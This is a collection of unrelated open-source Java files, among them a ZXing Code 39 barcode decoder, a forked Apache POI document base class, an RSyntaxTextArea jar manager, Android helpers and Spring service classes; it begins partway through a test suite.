suite.addTest(new TestSuite(PlatformDefaultJavaObjectFactorySelfTest.class)); suite.addTest(new TestSuite(PlatformJavaObjectFactoryProxySelfTest.class)); return suite; } }
package whot.what.hot.ui.login; import android.widget.ArrayAdapter; import whot.what.hot.base.BaseView; /** * Created by Kevin on 12/10/2017. */ public interface LoginView extends BaseView { //登入按鈕 void onLoginClick(); //密碼輸入完成按鈕 boolean onPasswordEditorDone(int actionId); //FB登入按鈕 void onFacebookLoginClick(); void fetchAccount(ArrayAdapter<String> adapter); }
/* * #%L * Fork of Apache Jakarta POI. * %% * Copyright (C) 2008 - 2013 Open Microscopy Environment: * - Board of Regents of the University of Wisconsin-Madison * - Glencoe Software, Inc. * - University of Dundee * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ /* ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== */ package loci.poi; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.util.Iterator; import java.util.List; import loci.common.*; import loci.poi.hpsf.DocumentSummaryInformation; import loci.poi.hpsf.MutablePropertySet; import loci.poi.hpsf.PropertySet; import loci.poi.hpsf.PropertySetFactory; import loci.poi.hpsf.SummaryInformation; import loci.poi.poifs.filesystem.DirectoryEntry; import loci.poi.poifs.filesystem.DocumentEntry; import loci.poi.poifs.filesystem.DocumentInputStream; import loci.poi.poifs.filesystem.Entry; import loci.poi.poifs.filesystem.POIFSFileSystem; import loci.poi.util.*; /** * This holds the common functionality for all POI * Document classes. * Currently, this relates to Document Information Properties * * @author Nick Burch */ public abstract class POIDocument { /** Holds metadata on our document */ protected SummaryInformation sInf; /** Holds further metadata on our document */ protected DocumentSummaryInformation dsInf; /** The open POIFS FileSystem that contains our document */ protected POIFSFileSystem filesystem; /** For our own logging use */ protected POILogger logger = POILogFactory.getLogger(this.getClass()); /** * Fetch the Document Summary Information of the document */ public DocumentSummaryInformation getDocumentSummaryInformation() { return dsInf; } /** * Fetch the Summary Information of the document */ public SummaryInformation getSummaryInformation() { return sInf; } /** * Find, and create objects for, the standard * Documment Information Properties (HPSF) */ protected void readProperties() { // DocumentSummaryInformation dsInf = (DocumentSummaryInformation)getPropertySet(DocumentSummaryInformation.DEFAULT_STREAM_NAME); // SummaryInformation sInf = (SummaryInformation)getPropertySet(SummaryInformation.DEFAULT_STREAM_NAME); } /** * For a given named property entry, either return it or null if * if it wasn't found */ protected PropertySet getPropertySet(String setName) { DocumentInputStream dis; try { // Find the entry, and get an input stream for it dis = filesystem.createDocumentInputStream(setName); } catch(IOException ie) { // Oh well, doesn't exist logger.log(POILogger.WARN, "Error getting property set with name " + setName + "\n" + ie); return null; } try { // Create the Property Set PropertySet set = PropertySetFactory.create(dis); return set; } catch(IOException ie) { // Must be corrupt or something like that logger.log(POILogger.WARN, "Error creating property set with name " + setName + "\n" + ie); } catch(loci.poi.hpsf.HPSFException he) { // Oh well, doesn't exist logger.log(POILogger.WARN, "Error creating property set with name " + setName + "\n" + he); } return null; } /** * Writes out the standard Documment Information Properties (HPSF) * @param outFS the POIFSFileSystem to write the properties into */ protected void writeProperties(POIFSFileSystem outFS) throws IOException { writeProperties(outFS, null); } /** * Writes out the standard Documment Information Properties (HPSF) * @param outFS the POIFSFileSystem to write the properties into * @param writtenEntries a list of POIFS entries to add the property names too */ protected void writeProperties(POIFSFileSystem outFS, List writtenEntries) throws IOException { if(sInf != null) { writePropertySet(SummaryInformation.DEFAULT_STREAM_NAME,sInf,outFS); if(writtenEntries != null) { writtenEntries.add(SummaryInformation.DEFAULT_STREAM_NAME); } } if(dsInf != null) { writePropertySet(DocumentSummaryInformation.DEFAULT_STREAM_NAME,dsInf,outFS); if(writtenEntries != null) { writtenEntries.add(DocumentSummaryInformation.DEFAULT_STREAM_NAME); } } } /** * Writes out a given ProperySet * @param name the (POIFS Level) name of the property to write * @param set the PropertySet to write out * @param outFS the POIFSFileSystem to write the property into */ protected void writePropertySet(String name, PropertySet set, POIFSFileSystem outFS) throws IOException { try { MutablePropertySet mSet = new MutablePropertySet(set); ByteArrayOutputStream bOut = new ByteArrayOutputStream(); mSet.write(bOut); byte[] data = bOut.toByteArray(); outFS.createDocument(new RandomAccessInputStream(data),name); logger.log(POILogger.INFO, "Wrote property set " + name + " of size " + data.length); } catch(loci.poi.hpsf.WritingNotSupportedException wnse) { System.err.println("Couldn't write property set with name " + name + " as not supported by HPSF yet"); } } /** * Copies nodes from one POIFS to the other minus the excepts * @param source is the source POIFS to copy from * @param target is the target POIFS to copy to * @param excepts is a list of Strings specifying what nodes NOT to copy */ protected void copyNodes(POIFSFileSystem source, POIFSFileSystem target, List excepts) throws IOException { //System.err.println("CopyNodes called"); DirectoryEntry root = source.getRoot(); DirectoryEntry newRoot = target.getRoot(); Iterator entries = root.getEntries(); while (entries.hasNext()) { Entry entry = (Entry)entries.next(); if (!isInList(entry.getName(), excepts)) { copyNodeRecursively(entry,newRoot); } } } /** * Checks to see if the String is in the list, used when copying * nodes between one POIFS and another */ private boolean isInList(String entry, List list) { for (int k = 0; k < list.size(); k++) { if (list.get(k).equals(entry)) { return true; } } return false; } /** * Copies an Entry into a target POIFS directory, recursively */ private void copyNodeRecursively(Entry entry, DirectoryEntry target) throws IOException { //System.err.println("copyNodeRecursively called with "+entry.getName()+ // ","+target.getName()); DirectoryEntry newTarget = null; if (entry.isDirectoryEntry()) { newTarget = target.createDirectory(entry.getName()); Iterator entries = ((DirectoryEntry)entry).getEntries(); while (entries.hasNext()) { copyNodeRecursively((Entry)entries.next(),newTarget); } } else { DocumentEntry dentry = (DocumentEntry)entry; /* DocumentInputStream dstream = new DocumentInputStream(dentry); byte[] b = new byte[dstream.available()]; dstream.read(b); target.createDocument(dentry.getName(), new RandomAccessInputStream(b)); dstream.close(); */ } } }
/* * Copyright 2008 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.zxing.oned; import com.google.zxing.BarcodeFormat; import com.google.zxing.ChecksumException; import com.google.zxing.DecodeHintType; import com.google.zxing.FormatException; import com.google.zxing.NotFoundException; import com.google.zxing.Result; import com.google.zxing.ResultPoint; import com.google.zxing.common.BitArray; import java.util.Map; /** * <p>Decodes Code 39 barcodes. This does not support "Full ASCII Code 39" yet.</p> * * @author Sean Owen * @see Code93Reader */ public final class Code39Reader extends OneDReader { static final String ALPHABET_STRING = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. *$/+%"; private static final char[] ALPHABET = ALPHABET_STRING.toCharArray(); /** * These represent the encodings of characters, as patterns of wide and narrow bars. * The 9 least-significant bits of each int correspond to the pattern of wide and narrow, * with 1s representing "wide" and 0s representing narrow. */ static final int[] CHARACTER_ENCODINGS = { 0x034, 0x121, 0x061, 0x160, 0x031, 0x130, 0x070, 0x025, 0x124, 0x064, // 0-9 0x109, 0x049, 0x148, 0x019, 0x118, 0x058, 0x00D, 0x10C, 0x04C, 0x01C, // A-J 0x103, 0x043, 0x142, 0x013, 0x112, 0x052, 0x007, 0x106, 0x046, 0x016, // K-T 0x181, 0x0C1, 0x1C0, 0x091, 0x190, 0x0D0, 0x085, 0x184, 0x0C4, 0x094, // U-* 0x0A8, 0x0A2, 0x08A, 0x02A // $-% }; private static final int ASTERISK_ENCODING = CHARACTER_ENCODINGS[39]; private final boolean usingCheckDigit; private final boolean extendedMode; /** * Creates a reader that assumes all encoded data is data, and does not treat the final * character as a check digit. It will not decoded "extended Code 39" sequences. */ public Code39Reader() { usingCheckDigit = false; extendedMode = false; } /** * Creates a reader that can be configured to check the last character as a check digit. * It will not decoded "extended Code 39" sequences. * * @param usingCheckDigit if true, treat the last data character as a check digit, not * data, and verify that the checksum passes. */ public Code39Reader(boolean usingCheckDigit) { this.usingCheckDigit = usingCheckDigit; this.extendedMode = false; } /** * Creates a reader that can be configured to check the last character as a check digit, * or optionally attempt to decode "extended Code 39" sequences that are used to encode * the full ASCII character set. * * @param usingCheckDigit if true, treat the last data character as a check digit, not * data, and verify that the checksum passes. * @param extendedMode if true, will attempt to decode extended Code 39 sequences in the * text. */ public Code39Reader(boolean usingCheckDigit, boolean extendedMode) { this.usingCheckDigit = usingCheckDigit; this.extendedMode = extendedMode; } @Override public Result decodeRow(int rowNumber, BitArray row, Map<DecodeHintType,?> hints) throws NotFoundException, ChecksumException, FormatException { int[] counters = new int[9]; int[] start = findAsteriskPattern(row, counters); // Read off white space int nextStart = row.getNextSet(start[1]); int end = row.getSize(); StringBuilder result = new StringBuilder(20); char decodedChar; int lastStart; do { recordPattern(row, nextStart, counters); int pattern = toNarrowWidePattern(counters); if (pattern < 0) { throw NotFoundException.getNotFoundInstance(); } decodedChar = patternToChar(pattern); result.append(decodedChar); lastStart = nextStart; for (int counter : counters) { nextStart += counter; } // Read off white space nextStart = row.getNextSet(nextStart); } while (decodedChar != '*'); result.setLength(result.length() - 1); // remove asterisk // Look for whitespace after pattern: int lastPatternSize = 0; for (int counter : counters) { lastPatternSize += counter; } int whiteSpaceAfterEnd = nextStart - lastStart - lastPatternSize; // If 50% of last pattern size, following last pattern, is not whitespace, fail // (but if it's whitespace to the very end of the image, that's OK) if (nextStart != end && (whiteSpaceAfterEnd >> 1) < lastPatternSize) { throw NotFoundException.getNotFoundInstance(); } if (usingCheckDigit) { int max = result.length() - 1; int total = 0; for (int i = 0; i < max; i++) { total += ALPHABET_STRING.indexOf(result.charAt(i)); } if (result.charAt(max) != ALPHABET[total % 43]) { throw ChecksumException.getChecksumInstance(); } result.setLength(max); } if (result.length() == 0) { // false positive throw NotFoundException.getNotFoundInstance(); } String resultString; if (extendedMode) { resultString = decodeExtended(result); } else { resultString = result.toString(); } float left = (float) (start[1] + start[0]) / 2.0f; float right = (float) (nextStart + lastStart) / 2.0f; return new Result( resultString, null, new ResultPoint[]{ new ResultPoint(left, (float) rowNumber), new ResultPoint(right, (float) rowNumber)}, BarcodeFormat.CODE_39); } private static int[] findAsteriskPattern(BitArray row, int[] counters) throws NotFoundException { int width = row.getSize(); int rowOffset = row.getNextSet(0); int counterPosition = 0; int patternStart = rowOffset; boolean isWhite = false; int patternLength = counters.length; for (int i = rowOffset; i < width; i++) { if (row.get(i) ^ isWhite) { counters[counterPosition]++; } else { if (counterPosition == patternLength - 1) { if (toNarrowWidePattern(counters) == ASTERISK_ENCODING) { // Look for whitespace before start pattern, >= 50% of width of start pattern if (row.isRange(Math.max(0, patternStart - ((i - patternStart) >> 1)), patternStart, false)) { return new int[]{patternStart, i}; } } patternStart += counters[0] + counters[1]; System.arraycopy(counters, 2, counters, 0, patternLength - 2); counters[patternLength - 2] = 0; counters[patternLength - 1] = 0; counterPosition--; } else { counterPosition++; } counters[counterPosition] = 1; isWhite = !isWhite; } } throw NotFoundException.getNotFoundInstance(); } // For efficiency, returns -1 on failure. Not throwing here saved as many as 700 exceptions // per image when using some of our blackbox images. private static int toNarrowWidePattern(int[] counters) { int numCounters = counters.length; int maxNarrowCounter = 0; int wideCounters; do { int minCounter = Integer.MAX_VALUE; for (int i = 0; i < numCounters; i++) { int counter = counters[i]; if (counter < minCounter && counter > maxNarrowCounter) { minCounter = counter; } } maxNarrowCounter = minCounter; wideCounters = 0; int totalWideCountersWidth = 0; int pattern = 0; for (int i = 0; i < numCounters; i++) { int counter = counters[i]; if (counters[i] > maxNarrowCounter) { pattern |= 1 << (numCounters - 1 - i); wideCounters++; totalWideCountersWidth += counter; } } if (wideCounters == 3) { // Found 3 wide counters, but are they close enough in width? // We can perform a cheap, conservative check to see if any individual // counter is more than 1.5 times the average: for (int i = 0; i < numCounters && wideCounters > 0; i++) { int counter = counters[i]; if (counters[i] > maxNarrowCounter) { wideCounters--; // totalWideCountersWidth = 3 * average, so this checks if counter >= 3/2 * average if ((counter << 1) >= totalWideCountersWidth) { return -1; } } } return pattern; } } while (wideCounters > 3); return -1; } private static char patternToChar(int pattern) throws NotFoundException { for (int i = 0; i < CHARACTER_ENCODINGS.length; i++) { if (CHARACTER_ENCODINGS[i] == pattern) { return ALPHABET[i]; } } throw NotFoundException.getNotFoundInstance(); } private static String decodeExtended(CharSequence encoded) throws FormatException { int length = encoded.length(); StringBuilder decoded = new StringBuilder(length); for (int i = 0; i < length; i++) { char c = encoded.charAt(i); if (c == '+' || c == '$' || c == '%' || c == '/') { char next = encoded.charAt(i + 1); char decodedChar = '\0'; switch (c) { case '+': // +A to +Z map to a to z if (next >= 'A' && next <= 'Z') { decodedChar = (char) (next + 32); } else { throw FormatException.getFormatInstance(); } break; case '$': // $A to $Z map to control codes SH to SB if (next >= 'A' && next <= 'Z') { decodedChar = (char) (next - 64); } else { throw FormatException.getFormatInstance(); } break; case '%': // %A to %E map to control codes ESC to US if (next >= 'A' && next <= 'E') { decodedChar = (char) (next - 38); } else if (next >= 'F' && next <= 'W') { decodedChar = (char) (next - 11); } else { throw FormatException.getFormatInstance(); } break; case '/': // /A to /O map to ! to , and /Z maps to : if (next >= 'A' && next <= 'O') { decodedChar = (char) (next - 32); } else if (next == 'Z') { decodedChar = ':'; } else { throw FormatException.getFormatInstance(); } break; } decoded.append(decodedChar); // bump up i again since we read two characters i++; } else { decoded.append(c); } } return decoded.toString(); } }
/* * 03/21/2010 * * Copyright (C) 2010 Robert Futrell * robert_futrell at users.sourceforge.net * http://fifesoft.com/rsyntaxtextarea * * This library is distributed under a modified BSD license. See the included * RSTALanguageSupport.License.txt file for details. */ package org.fife.rsta.ac.java; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Set; import org.fife.rsta.ac.java.buildpath.JarLibraryInfo; import org.fife.rsta.ac.java.buildpath.LibraryInfo; import org.fife.rsta.ac.java.buildpath.SourceLocation; import org.fife.rsta.ac.java.classreader.ClassFile; import org.fife.rsta.ac.java.rjc.ast.ImportDeclaration; import org.fife.ui.autocomplete.Completion; import org.fife.ui.autocomplete.CompletionProvider; /** * Manages a list of jars and gets completions from them. This can be shared * amongst multiple {@link JavaCompletionProvider} instances. * * @author Robert Futrell * @version 1.0 */ public class JarManager { /** * Locations of class files to get completions from. */ private List<JarReader> classFileSources; /** * Whether to check datestamps on jars/directories when completion * information is requested. */ private static boolean checkModified; /** * Constructor. */ public JarManager() { classFileSources = new ArrayList<>(); setCheckModifiedDatestamps(true); } /** * Adds completions matching the specified text to a list. * * @param p The parent completion provider. * @param text The text to match. * @param addTo The list to add completion choices to. */ public void addCompletions(CompletionProvider p, String text, Set<Completion> addTo) { /* * The commented-out code below is probably replaced by the rest of the code * in this method... TODO: Verify me!!! * // Add any completions matching the text for each jar we know about String[] pkgNames = Util.splitOnChar(text, '.'); for (int i=0; i<jars.size(); i++) { JarReader jar = (JarReader)jars.get(i); jar.addCompletions(p, pkgNames, addTo); } */ if (text.length()==0) { return; } // If what they've typed is qualified, add qualified completions. if (text.indexOf('.')>-1) { String[] pkgNames = Util.splitOnChar(text, '.'); for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); jar.addCompletions(p, pkgNames, addTo); } } // If they are (possibly) typing an unqualified class name, see if // what they're typing matches any classes in any of jar jars, and if // so, add completions for them too. This allows the user to get // completions for classes not in their import statements. // Thanks to Guilherme Joao Frantz and Jonatas Schuler for the patch! else {//if (text.indexOf('.')==-1) { String lowerCaseText = text.toLowerCase(); for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); List<ClassFile> classFiles = jar. getClassesWithNamesStartingWith(lowerCaseText); if (classFiles!=null) { for (ClassFile cf : classFiles) { if (org.fife.rsta.ac.java.classreader.Util.isPublic(cf.getAccessFlags())) { addTo.add(new ClassCompletion(p, cf)); } } } } } } /** * Adds a jar to read from. This is a convenience method for folks only * reading classes from jar files. * * @param jarFile The jar to add. This cannot be <code>null</code>. * @return Whether this jar was added (e.g. it wasn't already loaded, or * it has a new source path). * @throws IOException If an IO error occurs. * @see #addClassFileSource(LibraryInfo) * @see #addCurrentJreClassFileSource() * @see #getClassFileSources() * @see #removeClassFileSource(File) */ public boolean addClassFileSource(File jarFile) throws IOException { if (jarFile==null) { throw new IllegalArgumentException("jarFile cannot be null"); } return addClassFileSource(new JarLibraryInfo(jarFile)); } /** * Adds a class file source to read from. * * @param info The source to add. If this is <code>null</code>, then * the current JVM's main JRE jar (rt.jar, or classes.jar on OS X) * will be added. If this source has already been added, adding it * again will do nothing (except possibly update its attached source * location). * @return Whether this source was added (e.g. it wasn't already loaded, or * it has a new source path). * @throws IOException If an IO error occurs. * @see #addClassFileSource(File) * @see #addCurrentJreClassFileSource() * @see #getClassFileSources() * @see #removeClassFileSource(LibraryInfo) */ public boolean addClassFileSource(LibraryInfo info) throws IOException { if (info==null) { throw new IllegalArgumentException("info cannot be null"); } // First see if this jar is already on the "build path." for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); LibraryInfo info2 = jar.getLibraryInfo(); if (info2.equals(info)) { // Only update if the source location is different. SourceLocation source = info.getSourceLocation(); SourceLocation source2 = info2.getSourceLocation(); if ((source==null && source2!=null) || (source!=null && !source.equals(source2))) { classFileSources.set(i, new JarReader((LibraryInfo)info.clone())); return true; } return false; } } // If it isn't on the build path, add it now. classFileSources.add(new JarReader(info)); return true; } /** * Adds the current JVM's rt.jar (or class.jar if on OS X) to the list of * class file sources. If the application is running in a JDK, the * associated source zip is also located and used. * * @throws IOException If an IO error occurs. * @see #addClassFileSource(LibraryInfo) */ public void addCurrentJreClassFileSource() throws IOException { addClassFileSource(LibraryInfo.getMainJreJarInfo()); } /** * Removes all class file sources from the "build path." * * @see #removeClassFileSource(LibraryInfo) * @see #removeClassFileSource(File) * @see #addClassFileSource(LibraryInfo) * @see #getClassFileSources() */ public void clearClassFileSources() { classFileSources.clear(); } /** * Returns whether the "last modified" time stamp on jars and class * directories should be checked whenever completions are requested, and * if the jar/directory has been modified since the last time, reload any * cached class file data. This allows for code completion to update * whenever dependencies are rebuilt, but has the side effect of increased * file I/O. By default this option is enabled; if you somehow find the * file I/O to be a bottleneck (perhaps accessing jars over a slow NFS * mount), you can disable this option. * * @return Whether jars/directories are checked for modification since * the last access, and clear any cached completion information if * so. * @see #setCheckModifiedDatestamps(boolean) */ public static boolean getCheckModifiedDatestamps() { return checkModified; } public ClassFile getClassEntry(String className) { String[] items = Util.splitOnChar(className, '.'); for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); ClassFile cf = jar.getClassEntry(items); if (cf!=null) { return cf; } } return null; } /** * Returns a list of all classes/interfaces/enums with a given (unqualified) * name. There may be several, since the name is unqualified. * * @param name The unqualified name of a type declaration. * @param importDeclarations The imports of the compilation unit, if any. * @return A list of type declarations with the given name, or * <code>null</code> if there are none. */ public List<ClassFile> getClassesWithUnqualifiedName(String name, List<ImportDeclaration> importDeclarations) { // Might be more than one class/interface/enum with the same name. List<ClassFile> result = null; // Loop through all of our imports. for (ImportDeclaration idec : importDeclarations) { // Static imports are for fields/methods, not classes if (!idec.isStatic()) { // Wildcard => See if package contains a class with this name if (idec.isWildcard()) { String qualified = idec.getName(); qualified = qualified.substring(0, qualified.indexOf('*')); qualified += name; ClassFile entry = getClassEntry(qualified); if (entry!=null) { if (result==null) { result = new ArrayList<>(1); // Usually small } result.add(entry); } } // Not wildcard => fully-qualified class/interface name else { String name2 = idec.getName(); String unqualifiedName2 = name2.substring(name2.lastIndexOf('.')+1); if (unqualifiedName2.equals(name)) { ClassFile entry = getClassEntry(name2); if (entry!=null) { // Should always be true if (result==null) { result = new ArrayList<>(1); // Usually small } result.add(entry); } else { System.err.println("ERROR: Class not found! - " + name2); } } } } } // Also check java.lang String qualified = "java.lang." + name; ClassFile entry = getClassEntry(qualified); if (entry!=null) { if (result==null) { result = new ArrayList<>(1); // Usually small } result.add(entry); } return result; } /** * * @param pkgName A package name. * @return A list of all classes in that package. */ public List<ClassFile> getClassesInPackage(String pkgName, boolean inPkg) { List<ClassFile> list = new ArrayList<>(); String[] pkgs = Util.splitOnChar(pkgName, '.'); for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); jar.getClassesInPackage(list, pkgs, inPkg); } return list; } /** * Returns the jars on the "build path." * * @return A list of {@link LibraryInfo}s. Modifying a * <code>LibraryInfo</code> in this list will have no effect on * this completion provider; in order to do that, you must re-add * the jar via {@link #addClassFileSource(LibraryInfo)}. If there * are no jars on the "build path," this will be an empty list. * @see #addClassFileSource(LibraryInfo) */ public List<LibraryInfo> getClassFileSources() { List<LibraryInfo> jarList = new ArrayList<>(classFileSources.size()); for (JarReader reader : classFileSources) { jarList.add(reader.getLibraryInfo()); // Already cloned } return jarList; } public SourceLocation getSourceLocForClass(String className) { SourceLocation sourceLoc = null; for (int i=0; i<classFileSources.size(); i++) { JarReader jar = classFileSources.get(i); if (jar.containsClass(className)) { sourceLoc = jar.getLibraryInfo().getSourceLocation(); break; } } return sourceLoc; } /** * Removes a jar from the "build path." This is a convenience method for * folks only adding and removing jar sources. * * @param jar The jar to remove. * @return Whether the jar was removed. This will be <code>false</code> * if the jar was not on the build path. * @see #removeClassFileSource(LibraryInfo) * @see #addClassFileSource(LibraryInfo) * @see #getClassFileSources() */ public boolean removeClassFileSource(File jar) { return removeClassFileSource(new JarLibraryInfo(jar)); } /** * Removes a class file source from the "build path." * * @param toRemove The source to remove. * @return Whether source jar was removed. This will be <code>false</code> * if the source was not on the build path. * @see #removeClassFileSource(File) * @see #addClassFileSource(LibraryInfo) * @see #getClassFileSources() */ public boolean removeClassFileSource(LibraryInfo toRemove) { for (Iterator<JarReader> i=classFileSources.iterator(); i.hasNext(); ) { JarReader reader = i.next(); LibraryInfo info = reader.getLibraryInfo(); if (info.equals(toRemove)) { i.remove(); return true; } } return false; } /** * Sets whether the "last modified" time stamp on jars and class * directories should be checked whenever completions are requested, and * if the jar/directory has been modified since the last time, reload any * cached class file data. This allows for code completion to update * whenever dependencies are rebuilt, but has the side effect of increased * file I/O. By default this option is enabled; if you somehow find the * file I/O to be a bottleneck (perhaps accessing jars over a slow NFS * mount), you can disable this option. * * @param check Whether to check if any jars/directories have been * modified since the last access, and clear any cached completion * information if so. * @see #getCheckModifiedDatestamps() */ public static void setCheckModifiedDatestamps(boolean check) { checkModified = check; } }
package ProblemeDesReines.chessPiece; import ProblemeDesReines.chessBoard.ChessBoard; import ProblemeDesReines.chessBoard.IChessBoard; /*................................................................................................................................ . Copyright (c) . . The Rook Class was Coded by : Alexandre BOLOT . . Last Modified : 27/12/2019 18:23 . . Contact : bolotalex06@gmail.com ...............................................................................................................................*/ /** * The Rook class implements IChessPiece.<br> * Its pattern is : checking horizontal and vertical axis on full range.<br> * <br> * __ Class Dependency : ChessBoard, IChessPiece __ */ public class Rook implements IChessPiece { /** * This method will apply a pattern on the [sender] ChessBoard.<br> * <br> * - Pattern : Horizontal and Vertical axis.<br> * - Range : Full.<br> * <br> * __ Class Dependency : ChessBoard __ * * @param sender The ChessBoard to apply the pattern on. * @param row The row index of the start cell. * @param col The col index of the start cell. */ @Override public void applyPattern(IChessBoard sender, int row, int col) { if (!(sender instanceof ChessBoard)) return; ChessBoard chessBoard = (ChessBoard) sender; //region row for (int x = 0; x < chessBoard.width; x++) { if (chessBoard.getStatus(row, x) == 0) chessBoard.setStatus(row, x, -1); } //endregion //region column for (int y = 0; y < chessBoard.height; y++) { if (chessBoard.getStatus(y, col) == 0) chessBoard.setStatus(y, col, -1); } //endregion } }
/* * Copyright 2019, EnMasse authors. * License: Apache License 2.0 (see the file LICENSE or http://apache.org/licenses/LICENSE-2.0.html). */ package io.enmasse.iot.registry.infinispan; import io.vertx.core.CompositeFuture; import io.vertx.core.Future; import io.vertx.core.Verticle; import java.util.LinkedList; import java.util.List; import org.eclipse.hono.service.AbstractBaseApplication; import org.eclipse.hono.service.HealthCheckProvider; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.context.annotation.ComponentScan; @ComponentScan("org.eclipse.hono.service.auth") @ComponentScan("org.eclipse.hono.service.metric") @ComponentScan("io.enmasse.iot.registry.infinispan") @EnableAutoConfiguration public class InfinispanRegistry extends AbstractBaseApplication { public static final String CONFIG_BASE = "enmasse.iot"; /** * All the verticles. */ private List<Verticle> verticles; /** * All the health check providers. */ private List<HealthCheckProvider> healthCheckProviders; @Autowired public void setVerticles(final List<Verticle> verticles) { this.verticles = verticles; } @Autowired public void setHealthCheckProviders(final List<HealthCheckProvider> healthCheckProviders) { this.healthCheckProviders = healthCheckProviders; } @Override protected final Future<?> deployVerticles() { return super.deployVerticles() .compose(ok -> { @SuppressWarnings("rawtypes") final List<Future> futures = new LinkedList<>(); for (final Verticle verticle : this.verticles) { log.info("Deploying: {}", verticle); final Future<String> result = Future.future(); getVertx().deployVerticle(verticle, result); futures.add(result); } return CompositeFuture.all(futures); }); } /** * Registers any additional health checks that the service implementation components provide. * * @return A succeeded future. */ @Override protected Future<Void> postRegisterServiceVerticles() { return super.postRegisterServiceVerticles().compose(ok -> { this.healthCheckProviders.forEach(this::registerHealthchecks); return Future.succeededFuture(); }); } /** * Starts the Device Registry Server. * * @param args command line arguments to pass to the server. */ public static void main(final String[] args) { SpringApplication.run(InfinispanRegistry.class, args); } }
package com.haohan.platform.service.sys.modules.xiaodian.service.database; import com.haohan.platform.service.sys.common.persistence.Page; import com.haohan.platform.service.sys.common.service.CrudService; import com.haohan.platform.service.sys.common.utils.StringUtils; import com.haohan.platform.service.sys.modules.xiaodian.dao.database.ProductAttrNameDao; import com.haohan.platform.service.sys.modules.xiaodian.entity.database.ProductAttrName; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.List; /** * 商品库属性名管理Service * @author dy * @version 2018-10-22 */ @Service @Transactional(readOnly = true) public class ProductAttrNameService extends CrudService<ProductAttrNameDao, ProductAttrName> { public ProductAttrName get(String id) { return super.get(id); } public List<ProductAttrName> findList(ProductAttrName productAttrName) { return super.findList(productAttrName); } public Page<ProductAttrName> findPage(Page<ProductAttrName> page, ProductAttrName productAttrName) { return super.findPage(page, productAttrName); } @Transactional(readOnly = false) public void save(ProductAttrName productAttrName) { super.save(productAttrName); } @Transactional(readOnly = false) public void delete(ProductAttrName productAttrName) { super.delete(productAttrName); } // 根据规格名ids 查询 public List<ProductAttrName> findByNameIds(String nameIds){ if(StringUtils.isEmpty(nameIds)){ return new ArrayList<>(); } ProductAttrName productAttrName = new ProductAttrName(); productAttrName.setId(nameIds); return dao.findByNameIds(productAttrName); } }
package com.tam.instagramclient; import android.content.Context; import android.content.res.Resources; import android.util.DisplayMetrics; import android.util.TypedValue; /** * Created by toan on 3/14/2016. */ public class DeviceDimensionsHelper { // DeviceDimensionsHelper.getDisplayWidth(context) => (display width in pixels) public static int getDisplayWidth(Context context) { DisplayMetrics displayMetrics = context.getResources().getDisplayMetrics(); return displayMetrics.widthPixels; } // DeviceDimensionsHelper.getDisplayHeight(context) => (display height in pixels) public static int getDisplayHeight(Context context) { DisplayMetrics displayMetrics = context.getResources().getDisplayMetrics(); return displayMetrics.heightPixels; } // DeviceDimensionsHelper.convertDpToPixel(25f, context) => (25dp converted to pixels) public static float convertDpToPixel(float dp, Context context){ Resources r = context.getResources(); return TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dp, r.getDisplayMetrics()); } // DeviceDimensionsHelper.convertPixelsToDp(25f, context) => (25px converted to dp) public static float convertPixelsToDp(float px, Context context){ Resources r = context.getResources(); DisplayMetrics metrics = r.getDisplayMetrics(); float dp = px / (metrics.densityDpi / 160f); return dp; } }